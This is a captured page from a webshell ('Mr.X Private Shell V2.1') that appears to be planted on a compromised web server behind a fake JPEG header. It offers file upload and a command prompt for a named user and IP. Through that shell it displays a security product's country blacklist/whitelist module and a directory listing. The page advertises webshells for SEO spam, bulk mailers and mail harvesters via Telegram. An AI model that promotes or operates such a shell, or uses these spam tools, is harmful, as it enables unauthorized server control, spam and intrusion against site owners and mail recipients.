����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
from peewee import DoesNotExist

import im360.subsys.webshield as webshield
from defence360agent.rpc_tools import ValidationError, lookup
from defence360agent.rpc_tools.utils import (
    generate_warnings,
    run_in_executor_decorator,
)
from defence360agent.utils import Scope
from im360.api.ips import CountryAPI
from im360.contracts.messages import WhitelistCacheUpdate, IpsetUpdate
from im360.model.country import Country, CountryList
from im360.simple_rpc.resident_socket import send_to_socket


def notify_resident_part(method):
    def _notify_resident_part(func):
        async def wrapper(self, *args, **kwargs):
            result = await func(self, *args, **kwargs)

            await send_to_socket(msg={"method": method})

            return result

        return wrapper

    return _notify_resident_part


class CountriesEndpoints(lookup.RootEndpoints):
    SCOPE = Scope.IM360

    @lookup.bind("blacklist", "country", "list")
    @run_in_executor_decorator
    def blacklist_country_list(self, limit=None, offset=None, **kwargs):
        return (
            CountryList.fetch_count(**kwargs),
            CountryList.fetch(
                limit=limit,
                offset=offset,
                by_list=[CountryList.BLACK],
                **kwargs
            ),
        )

    @lookup.bind("blacklist", "country", "add")
    async def blacklist_country_add(self, items, comment=None):
        return await self._country_add(CountryList.BLACK, items, comment)

    @lookup.bind("blacklist", "country", "edit")
    async def blacklist_country_edit(self, items, comment):
        return await self._country_edit(CountryList.BLACK, items, comment)

    @lookup.bind("blacklist", "country", "delete")
    @notify_resident_part(IpsetUpdate.DEFAULT_METHOD)
    async def blacklist_country_delete(self, items):
        return await self._country_delete(CountryList.BLACK, items)

    @lookup.bind("whitelist", "country", "list")
    @run_in_executor_decorator
    def whitelist_country_list(self, limit=None, offset=None, **kwargs):
        return (
            CountryList.fetch_count(**kwargs),
            CountryList.fetch(
                limit=limit,
                offset=offset,
                by_list=[CountryList.WHITE],
                **kwargs
            ),
        )

    @lookup.bind("whitelist", "country", "edit")
    @notify_resident_part(WhitelistCacheUpdate.DEFAULT_METHOD)
    async def whitelist_country_edit(self, items, comment):
        return await self._country_edit(CountryList.WHITE, items, comment)

    @lookup.bind("whitelist", "country", "add")
    @notify_resident_part(WhitelistCacheUpdate.DEFAULT_METHOD)
    async def whitelist_country_add(self, items, comment=None):
        return await self._country_add(CountryList.WHITE, items, comment)

    @lookup.bind("whitelist", "country", "delete")
    @notify_resident_part(WhitelistCacheUpdate.DEFAULT_METHOD)
    async def whitelist_country_delete(self, items):
        return await self._country_delete(CountryList.WHITE, items)

    @run_in_executor_decorator
    def _get_country(self, country_code):
        try:
            Country.get(code=country_code)
        except DoesNotExist:
            return False
        return True

    async def _check_countries_exists(self, country_list):
        warning_countries = []
        for country_code in country_list:
            if not (await self._get_country(country_code=country_code)):
                warning_countries.append(country_code)

        if warning_countries:
            raise ValidationError(
                "Country does not exist {}".format(
                    ", ".join(warning_countries)
                )
            )

    async def _country_edit(self, listname, items, comment):
        await self._check_countries_exists(items)
        affected, not_affected = await CountryAPI.edit(items, comment=comment)
        return generate_warnings(
            affected,
            not_affected,
            dest_listname=listname,
            all_list=items,
            success_warning="{}/{} country(s) were successfully edited",
            failure_warning="Noop: unable to edit {} in {}",
            in_another_list_warning="Country {} is already in {} list",
        )

    async def _country_add(self, listname, items, comment):
        """Add Country to appropriate ipset and CountryList"""
        await self._check_countries_exists(items)
        affected, not_affected = await CountryAPI.block(
            items, listname=listname, comment=comment
        )
        if listname == CountryList.BLACK and affected:
            # Update webshield conf file only for blacklisted country
            await webshield.update_country_blacklist_config()

        return generate_warnings(
            affected,
            not_affected,
            dest_listname=listname,
            all_list=items,
            success_warning="{}/{} ip(s) were successfully added",
            failure_warning="Noop: unable to add {} from {}",
            in_another_list_warning="Country {} is already in {} list",
        )

    async def _country_delete(self, listname, items):
        await self._check_countries_exists(items)
        affected, not_affected = await CountryAPI.unblock(
            items, listname=listname
        )
        if listname == CountryList.BLACK and affected:
            # Update webshield conf file only for blacklisted country
            await webshield.update_country_blacklist_config()
        return generate_warnings(
            affected,
            not_affected,
            dest_listname=listname,
            all_list=items,
            success_warning="{}/{} ip(s) were successfully deleted",
            failure_warning="Noop: unable to delete {} from {}",
            in_another_list_warning="Country {} is already in {} list",
        )

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
schema Folder 0755
schema_responses Folder 0755
__init__.py File 0 B 0644
configuration_management.py File 3.12 KB 0644
conflicts.py File 3.21 KB 0644
control_panel.py File 484 B 0644
countries.py File 5.72 KB 0644
csf_imports.py File 2.63 KB 0644
custom_lists.py File 642 B 0644
disabled_rules.py File 7.47 KB 0644
feature.py File 1.9 KB 0644
health.py File 343 B 0644
hosting_panel.py File 2.73 KB 0644
incidents.py File 1.83 KB 0644
kcarectl.py File 824 B 0644
lists.py File 30.66 KB 0644
malware.py File 385 B 0644
middleware.py File 1.32 KB 0644
proactive.py File 7.91 KB 0644
remote_proxy.py File 2.97 KB 0644
resident_socket.py File 1.59 KB 0644
schema.py File 1.05 KB 0644
smart_advice.py File 1.25 KB 0644
smtp_blocking.py File 1.72 KB 0644
unavailable_on_freemium.py File 354 B 0644
uninstall_cleanup.py File 2.42 KB 0644
validate.py File 9.19 KB 0644
whitelist_rbl.py File 409 B 0644
whitelisted_crawlers.py File 1.02 KB 0644
whitelisted_domains.py File 821 B 0644